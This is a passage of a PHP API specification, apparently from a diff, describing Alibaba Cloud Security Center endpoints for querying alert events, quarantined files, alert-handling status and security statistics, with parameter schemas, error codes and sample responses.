'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '9F4217C8-763F-51EF-84D4-5535E072B2D8', + ], + 'PageInfo' => [ + 'description' => '查询结果页面显示的信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页显示的告警事件的数量。默认值为**20**，表示每页显示20条告警事件。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询到的告警事件的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '5', + ], + 'Count' => [ + 'description' => '分页查询时，当前页显示的数据总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '5', + ], + ], + ], + 'SecurityEventsResponse' => [ + 'description' => '相同告警事件的列表信息。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'LastTime' => [ + 'description' => '告警最新发生的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1648544361480', + ], + 'Uuid' => [ + 'description' => '受告警事件影响的服务器的UUID。', + 'type' => 'string', + 'example' => 'qweeqq-13232-daweq-w****', + ], + 'EventName' => [ + 'description' => '告警事件的名称。', + 'type' => 'string', + 'example' => 'Trojan', + ], + 'EventType' => [ + 'description' => '告警类型。取值：'."\n" + .''."\n" + .'- 进程异常行为'."\n" + .'- 网站后门'."\n" + .'- 异常登录'."\n" + .'- 异常事件'."\n" + .'- 敏感文件篡改'."\n" + .'- 恶意进程（云查杀）'."\n" + .'- 异常网络连接'."\n" + .'- 其他'."\n" + .'- 异常账号'."\n" + .'- 应用入侵事件'."\n" + .'- 云产品威胁检测'."\n" + .'- 精准防御'."\n" + .'- 应用白名单'."\n" + .'- 持久化后门'."\n" + .'- Web应用威胁检测'."\n" + .'- 恶意脚本'."\n" + .'- 威胁情报'."\n" + .'- 恶意网络行为'."\n" + .'- 容器集群异常'."\n" + .'- 网站后门（本地查杀）'."\n" + .'- 漏洞利用'."\n" + .'- 恶意进程（本地查杀）'."\n" + .'- 可信异常'."\n" + .''."\n" + .''."\n" + .'- Suspicious Process'."\n" + .'- Webshell'."\n" + .'- Unusual Logon'."\n" + .'- Malicious Software'."\n" + .'- Sensitive File Tampering'."\n" + .'- Unusual Network Connection'."\n" + .'- Other'."\n" + .'- Suspicious Account'."\n" + .'- Cloud threat detection'."\n" + .'- Precision defense'."\n" + .'- Application Whitelist'."\n" + .'- Persistence'."\n" + .'- Web Application Threat Detection'."\n" + .'- Malicious scripts'."\n" + .'- Malicious Network Activity'."\n" + .'- K8s Abnormal Behavior'."\n" + .'- Website backdoor (local engine)'."\n" + .'- Exploit'."\n" + .'- Image Scan'."\n" + .'- Trusted exception'."\n" + .''."\n" + ."\n\n" + .'关于告警类型的详细介绍信息，请参见[安全告警检测项](~~68388~~)。', + 'type' => 'string', + 'example' => 'Malicious Software', + ], + 'SecurityEventId' => [ + 'description' => '告警事件的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '158661', + ], + 'OccurrenceTime' => [ + 'description' => '告警事件首次发生时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1648457961000', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'OperationTaskNotExists', + 'errorMessage' => 'The specified operation task does not exist', + ], + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"9F4217C8-763F-51EF-84D4-5535E072B2D8\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 5,\\n \\"Count\\": 5\\n },\\n \\"SecurityEventsResponse\\": [\\n {\\n \\"LastTime\\": 1648544361480,\\n \\"Uuid\\": \\"qweeqq-13232-daweq-w****\\",\\n \\"EventName\\": \\"Trojan\\",\\n \\"EventType\\": \\"Malicious Software\\",\\n \\"SecurityEventId\\": 158661,\\n \\"OccurrenceTime\\": 1648457961000\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 9F4217C8-763F-51EF-84D4-5535E072B2D8\\n \\n 1\\n 20\\n 5\\n 5\\n \\n \\n 1648544361480\\n qweeqq-13232-daweq-w****\\n 敏感文件篡改\\n 敏感文件篡改\\n 158661\\n 1648457961000\\n \\n","errorExample":""}]', + 'title' => '查询相同的告警', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeSuspEventQuaraFiles' => [ + 'summary' => '分页查询文件隔离箱中被隔离的文件。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas731ZAS', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '59.82.XX.XX', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，每页显示数据的最大条数。', + 'type' => 'string', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'Status', + 'in' => 'query', + 'schema' => [ + 'description' => '设置需要查询的隔离文件的状态。取值： '."\n" + .'- **quaraFailed**：隔离失败'."\n" + .'- **quaraDone**：隔离成功'."\n" + .'- **quaraing**：隔离中'."\n" + .'- **rollbackFailed**：撤销隔离失败'."\n" + .'- **rollbackDone**：撤销隔离成功'."\n" + .'- **rollbacking**：撤销隔离中', + 'type' => 'string', + 'required' => false, + 'example' => 'quaraDone', + ], + ], + [ + 'name' => 'GroupId', + 'in' => 'query', + 'schema' => [ + 'description' => '资产分组的ID。', + 'type' => 'string', + 'deprecated' => true, + 'required' => false, + 'example' => '10541428', + ], + ], + [ + 'name' => 'QuaraTag', + 'in' => 'query', + 'schema' => [ + 'description' => '隔离文件唯一标识。', + 'type' => 'string', + 'required' => false, + 'example' => 'a31337789f64d39b2219733ec99f9af7', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置需要查看的文件列表的页码。', + 'type' => 'string', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'From', + 'in' => 'query', + 'schema' => [ + 'description' => '请求来源标识，固定为**sas**。', + 'type' => 'string', + 'required' => false, + 'example' => 'sas', + ], + ], + [ + 'name' => 'GroupingId', + 'in' => 'query', + 'schema' => [ + 'description' => '隔离文件所在的服务器分组ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '11472451', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '返回的文件列表当前页编号。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '设置每页展示最大的隔离文件数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '32A73759-4C0F-4801-BE98-901223ACEE9A', + ], + 'TotalCount' => [ + 'description' => '隔离文件总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '38', + ], + 'Count' => [ + 'description' => '当前页隔离文件数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '7', + ], + 'QuaraFiles' => [ + 'description' => '隔离文件列表。', + 'type' => 'array', + 'items' => [ + 'description' => '隔离文件对象。', + 'type' => 'object', + 'properties' => [ + 'Link' => [ + 'description' => '隔离文件下载链接。', + 'type' => 'string', + 'example' => 'https://xxx.xxx/xxx', + ], + 'Status' => [ + 'description' => '隔离状态。取值： '."\n" + .'- **quaraFailed**：隔离失败'."\n" + .'- **quaraDone**：隔离成功'."\n" + .'- **quaraing**：隔离中'."\n" + .'- **rollbackFailed**：撤销隔离失败'."\n" + .'- **rollbackDone**：撤销隔离成功'."\n" + .'- **rollbacking**：撤销隔离中', + 'type' => 'string', + 'example' => 'rollbackDone', + ], + 'EventName' => [ + 'description' => '事件名称。', + 'type' => 'string', + 'example' => 'WEBSHELL', + ], + 'InternetIp' => [ + 'description' => '被隔离文件所在服务器的公网IP地址。', + 'type' => 'string', + 'example' => '47.XX.XX.131', + ], + 'Ip' => [ + 'description' => '被隔离文件所在服务器的公网IP地址。', + 'type' => 'string', + 'example' => '47.XX.XX.131', + ], + 'Tag' => [ + 'description' => '事件唯一标识。', + 'type' => 'string', + 'example' => '228f890e56eae9eec6a42c7ea801b538', + ], + 'InstanceId' => [ + 'description' => '资产实例ID。', + 'type' => 'string', + 'example' => 'i-2ze9t1qp36n1436m****', + ], + 'Uuid' => [ + 'description' => '服务器UUID。', + 'type' => 'string', + 'example' => '04a0e735-ad32-4835-b635-0458d77b****', + ], + 'EventType' => [ + 'description' => '事件类型。', + 'type' => 'string', + 'example' => 'WebshellQuaraEventType', + ], + 'InstanceName' => [ + 'description' => '隔离文件所在的服务器名称。', + 'type' => 'string', + 'example' => 'iZwz98dkiw3vbrtqrt5v****', + ], + 'Path' => [ + 'description' => '被隔离文件在服务器中的存储路径。', + 'type' => 'string', + 'example' => '/var/www/html/webshell-sample-master/others/defc3e21bab59e2a2ab49f7eda99f65f83d4d349.jpg', + ], + 'Md5' => [ + 'description' => '文件MD5值。', + 'type' => 'string', + 'example' => '5ddebe926acc7ed39a664409bfd0ec10', + ], + 'Id' => [ + 'description' => '隔离文件ID。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '26918', + ], + 'ModifyTime' => [ + 'description' => '更新时间。', + 'type' => 'string', + 'example' => '2020-06-11 20:37:08', + ], + 'IntranetIp' => [ + 'description' => '被隔离文件所在服务器的私网IP地址。', + 'type' => 'string', + 'example' => '192.168.XX.XX', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'IllegalParameter', + 'errorMessage' => 'Illegal parameter, please check the param.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"RequestId\\": \\"32A73759-4C0F-4801-BE98-901223ACEE9A\\",\\n \\"TotalCount\\": 38,\\n \\"Count\\": 7,\\n \\"QuaraFiles\\": [\\n {\\n \\"Link\\": \\"https://xxx.xxx/xxx\\",\\n \\"Status\\": \\"rollbackDone\\",\\n \\"EventName\\": \\"WEBSHELL\\",\\n \\"InternetIp\\": \\"47.XX.XX.131\\",\\n \\"Ip\\": \\"47.XX.XX.131\\",\\n \\"Tag\\": \\"228f890e56eae9eec6a42c7ea801b538\\",\\n \\"InstanceId\\": \\"i-2ze9t1qp36n1436m****\\",\\n \\"Uuid\\": \\"04a0e735-ad32-4835-b635-0458d77b****\\",\\n \\"EventType\\": \\"WebshellQuaraEventType\\",\\n \\"InstanceName\\": \\"iZwz98dkiw3vbrtqrt5v****\\",\\n \\"Path\\": \\"/var/www/html/webshell-sample-master/others/defc3e21bab59e2a2ab49f7eda99f65f83d4d349.jpg\\",\\n \\"Md5\\": \\"5ddebe926acc7ed39a664409bfd0ec10\\",\\n \\"Id\\": 26918,\\n \\"ModifyTime\\": \\"2020-06-11 20:37:08\\",\\n \\"IntranetIp\\": \\"192.168.XX.XX\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '分页查询被隔离的文件', + ], + 'DescribeSecurityEventOperationStatus' => [ + 'summary' => '查询处理告警事件选择批量处理（即同时处理相同告警）时，与该告警事件基于相同IP规则或相同告警类型的告警事件的列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。'."\n", + 'type' => 'string', + 'required' => false, + 'example' => '192.168.XX.XX', + ], + ], + [ + 'name' => 'TaskId', + 'in' => 'query', + 'schema' => [ + 'description' => '处理安全告警事件的任务的ID。'."\n" + ."\n" + .'> TaskId、SecurityEventIds这两个参数二选一，必选要设置一个接口才能调用成功。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '12121', + ], + ], + [ + 'name' => 'SecurityEventIds', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '安全告警事件的ID列表。'."\n" + .'> TaskId、SecurityEventIds.N这两个参数二选一，必选要设置一个接口才能调用成功。', + 'type' => 'array', + 'items' => [ + 'description' => '安全告警事件的ID列表。'."\n" + .'> TaskId、SecurityEventIds.N这两个参数二选一，必选要设置一个接口才能调用成功。', + 'type' => 'string', + 'required' => false, + 'example' => '12315', + ], + 'required' => true, + 'example' => '["909361"]', + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '1683940A-E4AE-4473-8C40-F4075434B76B', + ], + 'SecurityEventOperationStatusResponse' => [ + 'description' => '安全告警事件处理状态的结果返回。', + 'type' => 'object', + 'properties' => [ + 'TaskStatus' => [ + 'description' => '处理安全告警事件的任务状态。'."\n" + .'- **Processing**：处理中'."\n" + .'- **Success**：处理成功'."\n" + .'- **Failure**：处理失败'."\n" + .'- **Pending**：等待中', + 'type' => 'string', + 'example' => 'Success', + ], + 'SecurityEventOperationStatuses' => [ + 'description' => '相同安全告警事件处理状态列表。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Status' => [ + 'description' => '安全告警的处理状态。'."\n" + .'- **Processing**：任务处理中'."\n" + .'- **Success**：任务执行成功'."\n" + .'- **Failed**：任务执行失败', + 'type' => 'string', + 'example' => 'Success', + ], + 'SecurityEventId' => [ + 'description' => '安全告警事件的ID。', + 'type' => 'string', + 'example' => '12321', + ], + 'ErrorCode' => [ + 'description' => '处理安全告警事件的返回Code信息。', + 'type' => 'string', + 'example' => 'ignore.Success', + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'OperationTaskNotExists', + 'errorMessage' => 'The specified operation task does not exist', + ], + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"1683940A-E4AE-4473-8C40-F4075434B76B\\",\\n \\"SecurityEventOperationStatusResponse\\": {\\n \\"TaskStatus\\": \\"Success\\",\\n \\"SecurityEventOperationStatuses\\": [\\n {\\n \\"Status\\": \\"Success\\",\\n \\"SecurityEventId\\": \\"12321\\",\\n \\"ErrorCode\\": \\"ignore.Success\\"\\n }\\n ]\\n }\\n}","errorExample":""},{"type":"xml","example":"\\n 1683940A-E4AE-4473-8C40-F4075434B76B\\n \\n Success\\n \\n Success\\n 12321\\n ignore.Success\\n \\n \\n","errorExample":""}]', + 'title' => '查询与将要处理的告警事件为相同IP规则或相同告警类型的告警事件的列表', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeSimilarEventScenarios' => [ + 'summary' => '查询相同规则或类型触发的告警的处理场景。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '112.214.XX.XX', + ], + ], + [ + 'name' => 'SecurityEventId', + 'in' => 'query', + 'schema' => [ + 'description' => '告警事件的ID。'."\n" + .'>您可以调用[DescribeSuspEvents](~~DescribeSuspEvents~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '12321', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => 'FDF7B8D9-8493-4B90-8D13-E0C1FFCE5F97', + ], + 'Scenarios' => [ + 'description' => '相同告警事件的处理场景列表。', + 'type' => 'array', + 'items' => [ + 'description' => '相同告警事件的处理场景。', + 'type' => 'object', + 'properties' => [ + 'Code' => [ + 'description' => '处理场景的Code值。取值：'."\n" + .'- **default**：相同告警类型'."\n" + .'- **same_file_content**：相同文件内容规则'."\n" + .'- **same_ip**：相同IP规则'."\n" + .'- **same_url**：相同URL规则', + 'type' => 'string', + 'example' => 'same_url', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'SecurityEventNotExists', + 'errorMessage' => 'Security event not exists.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"FDF7B8D9-8493-4B90-8D13-E0C1FFCE5F97\\",\\n \\"Scenarios\\": [\\n {\\n \\"Code\\": \\"same_url\\"\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n FDF7B8D9-8493-4B90-8D13-E0C1FFCE5F97\\n \\n same_url\\n \\n","errorExample":""}]', + 'title' => '查询相同触发告警处理场景', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeSecurityStatInfo' => [ + 'summary' => '查询各个安全检查项数据的统计值和安全检查项趋势图中每天的统计值。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '1.2.XX.XX', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'ResourceDirectoryAccountId', + 'in' => 'query', + 'schema' => [ + 'description' => '云安全中心多账号安全管控功能，用于查询资源目录内其他成员账号安全信息，填入其他成员账号的账号ID。'."\n" + ."\n", + 'type' => 'string', + 'required' => false, + 'example' => '12345', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'Success' => [ + 'description' => '本次查询是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'A3E61730-85E2-4789-8017-B9B1B70F0568', + ], + 'SecurityEvent' => [ + 'description' => '待处理的告警数据的统计详情。', + 'type' => 'object', + 'properties' => [ + 'SuspiciousCount' => [ + 'description' => '当天发生的告警级别为**可疑**的告警个数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '148', + ], + 'SeriousCount' => [ + 'description' => '当天发生的告警级别为**紧急**的告警个数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '404', + ], + 'RemindCount' => [ + 'description' => '当天检测到的告警级别为**提醒**的告警个数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'TotalCount' => [ + 'description' => '当天待处理的告警的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '552', + ], + 'ValueArray' => [ + 'description' => '各个统计时间点对应的待处理告警的个数集合。', + 'type' => 'array', + 'items' => [ + 'description' => '各个统计时间点对应的待处理告警的个数。', + 'type' => 'string', + 'example' => '444', + ], + ], + 'TimeArray' => [ + 'description' => '相同告警统计时间段集合。', + 'type' => 'array', + 'items' => [ + 'description' => '相同告警统计时间段。', + 'type' => 'string', + 'example' => '1641484800000', + ], + ], + 'RemindList' => [ + 'description' => '各个统计时间点发生的告警级别为提醒的告警统计个数集合。', + 'type' => 'array', + 'items' => [ + 'description' => '各个统计时间点发生的告警级别为**提醒**的告警统计个数。', + 'type' => 'string', + 'example' => '5,', + ], + ], + 'LevelsOn' => [ + 'description' => '待处理告警参与统计的告警级别集合。', + 'type' => 'array', + 'items' => [ + 'description' => '待处理告警参与统计的告警级别。取值：'."\n" + .'- **remind**：提醒'."\n" + .'- **suspicious**：可疑'."\n" + .'- **serious**：紧急', + 'type' => 'string', + 'example' => 'remind', + ], + ], + 'DateArray' => [ + 'description' => '待处理告警趋势图的统计时间点集合。', + 'type' => 'array', + 'items' => [ + 'description' => '待处理告警趋势图的统计时间点。', + 'type' => 'string', + 'example' => '2020-01-08', + ], + ], + 'SuspiciousList' => [ + 'description' => '各个统计时间点发生的告警级别为可疑的告警事件的统计个数集合。', + 'type' => 'array', + 'items' => [ + 'description' => '各个统计时间点发生的告警级别为**可疑**的告警事件的统计个数。', + 'type' => 'string', + 'example' => '111,', + ], + ], + 'SeriousList' => [ + 'description' => '各个统计时间点发生的告警级别为紧急的告警事件的统计个数集合。', + 'type' => 'array', + 'items' => [ + 'description' => '各个统计时间点发生的告警级别为**紧急**的告警事件的统计个数。', + 'type' => 'string', + 'example' => '111', + ], + ], + ], + ], + 'AttackEvent' => [ + 'description' => '攻击次数统计详细信息。', + 'type' => 'object', + 'properties' => [ + 'TotalCount' => [ + 'description' => '当天的攻击次数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1096', + ], + 'DateArray' => [ + 'description' => '攻击次数趋势图的统计时间点集合。', + 'type' => 'array', + 'items' => [ + 'description' => '攻击次数趋势图的统计时间点。', + 'type' => 'string', + 'example' => '2020-01-04', + ], + ], + 'ValueArray' => [ + 'description' => '各个统计时间点对应的攻击次数集合。', + 'type' => 'array', + 'items' => [ + 'description' => '各个统计时间点对应的攻击次数。', + 'type' => 'string', + 'example' => '2620', + ], + ], + ], + ], + 'HealthCheck' => [ + 'description' => '基线问题统计的详细信息。', + 'type' => 'object', + 'properties' => [ + 'HighCount' => [ + 'description' => '当天高危风险基线问题的个数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'LowCount' => [ + 'description' => '当天低危风险基线问题的个数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'TotalCount' => [ + 'description' => '当天基线问题的总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '32', + ], + 'MediumCount' => [ + 'description' => '当天中危风险基线问题的个数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '21', + ], + 'ValueArray' => [ + 'description' => '各个统计时间点对应的基线总数集合。', + 'type' => 'array', + 'items' => [ + 'description' => '各个统计时间点对应的基线总数。', + 'type' => 'string', + 'example' => '31', + ], + ], + 'TimeArray' => [ + 'description' => '基线统计时间段集合。', + 'type' => 'array', + 'items' => [ + 'description' => '基线统计时间段。', + 'type' => 'string', + 'example' => '1641484800000', + ], + ], + 'LevelsOn' => [ + 'description' => '参与统计的基线的风险级别列表集合。', + 'type' => 'array', + 'items' => [ + 'description' => '参与统计的基线的风险级别列表。取值：'."\n" + .'- **high**：高危'."\n" + .'- **medium**：中危'."\n" + .'- **low**：低危', + 'type' => 'string', + 'example' => 'high', + ], + ], + 'LowList' => [ + 'description' => '各个统计时间点发生的低危风险基线问题的个数集合。', + 'type' => 'array', + 'items' => [ + 'description' => '各个统计时间点发生的低危风险基线问题的个数。', + 'type' => 'string', + 'example' => '0', + ], + ], + 'MediumList' => [ + 'description' => '各个统计时间点发生的中危风险基线问题的个数集合。', + 'type' => 'array', + 'items' => [ + 'description' => '各个统计时间点发生的中危风险基线问题的个数。', + 'type' => 'string', + 'example' => '0', + ], + ], + 'DateArray' => [ + 'description' => '基线问题趋势图的统计时间点集合。', + 'type' => 'array', + 'items' => [ + 'description' => '基线问题趋势图的统计时间点。', + 'type' => 'string', + 'example' => '2020-01-04', + ], + ], + 'HighList' => [ + 'description' => '各个统计时间点对应的高危风险基线的个数集合。', + 'type' => 'array', + 'items' => [ + 'description' => '各个统计时间点对应的高危风险基线的个数。', + 'type' => 'string', + 'example' => '11', + ], + ], + ], + ], + 'Vulnerability' => [ + 'description' => '待修复漏洞统计信息。', + 'type' => 'object', + 'properties' => [ + 'NntfCount' => [ + 'description' => '当天待修复漏洞紧急程度为**低**的漏洞个数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'LaterCount' => [ + 'description' => '当天待修复漏洞紧急程度为**中**的漏洞个数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '275', + ], + 'TotalCount' => [ + 'description' => '当天待修复漏洞个数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '384', + ], + 'AsapCount' => [ + 'description' => '当天待修复漏洞紧急程度为**高**的漏洞个数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '109', + ], + 'NntfList' => [ + 'description' => '各个统计时间点对应的待修复漏洞紧急程度为低的统计个数集合。', + 'type' => 'array', + 'items' => [ + 'description' => '各个统计时间点对应的待修复漏洞紧急程度为**低**的统计个数。', + 'type' => 'string', + 'example' => '0', + ], + ], + 'AsapList' => [ + 'description' => '各个统计时间点对应的待修复漏洞紧急程度为高的统计个数集合。', + 'type' => 'array', + 'items' => [ + 'description' => '各个统计时间点对应的待修复漏洞紧急程度为**高**的统计个数。', + 'type' => 'string', + 'example' => '60', + ], + ], + 'ValueArray' => [ + 'description' => '各个统计时间点对应的待修复漏洞的个数集合。', + 'type' => 'array', + 'items' => [ + 'description' => '各个统计时间点对应的待修复漏洞的个数。', + 'type' => 'string', + 'example' => '384', + ], + ], + 'TimeArray' => [ + 'description' => '统计待修复漏洞的时间段集合。', + 'type' => 'array', + 'items' => [ + 'description' => '统计待修复漏洞的时间段。', + 'type' => 'string', + 'example' => '1641484800000', + ], + ], + 'LevelsOn' => [ + 'description' => '待修复漏洞参与统计的漏洞紧急程度集合。', + 'type' => 'array', + 'items' => [ + 'description' => '待修复漏洞参与统计的漏洞紧急程度。取值：'."\n" + .'- **asap**：高'."\n" + .'- **later**：中'."\n" + .'- **nntf**：低', + 'type' => 'string', + 'example' => 'later', + ], + ], + 'LaterList' => [ + 'description' => '各个统计时间点对应的待修复漏洞紧急程度为中的统计个数集合。', + 'type' => 'array', + 'items' => [ + 'description' => '各个统计时间点对应的待修复漏洞紧急程度为**中**的统计个数。', + 'type' => 'string', + 'example' => '275', + ], + ], + 'DateArray' => [ + 'description' => '待修复漏洞趋势图的统计时间点集合。', + 'type' => 'array', + 'items' => [ + 'description' => '待修复漏洞趋势图的统计时间点。', + 'type' => 'string', + 'example' => '2020-01-04', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + [ + 'errorCode' => 'UnknownError', + 'errorMessage' => 'UnknownError', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"Success\\": true,\\n \\"RequestId\\": \\"A3E61730-85E2-4789-8017-B9B1B70F0568\\",\\n \\"SecurityEvent\\": {\\n \\"SuspiciousCount\\": 148,\\n \\"SeriousCount\\": 404,\\n \\"RemindCount\\": 0,\\n \\"TotalCount\\": 552,\\n \\"ValueArray\\": [\\n \\"444\\"\\n ],\\n \\"TimeArray\\": [\\n \\"1641484800000\\"\\n ],\\n \\"RemindList\\": [\\n \\"5,\\"\\n ],\\n \\"LevelsOn\\": [\\n \\"remind\\"\\n ],\\n \\"DateArray\\": [\\n \\"2020-01-08\\"\\n ],\\n \\"SuspiciousList\\": [\\n \\"111,\\"\\n ],\\n \\"SeriousList\\": [\\n \\"111\\"\\n ]\\n },\\n 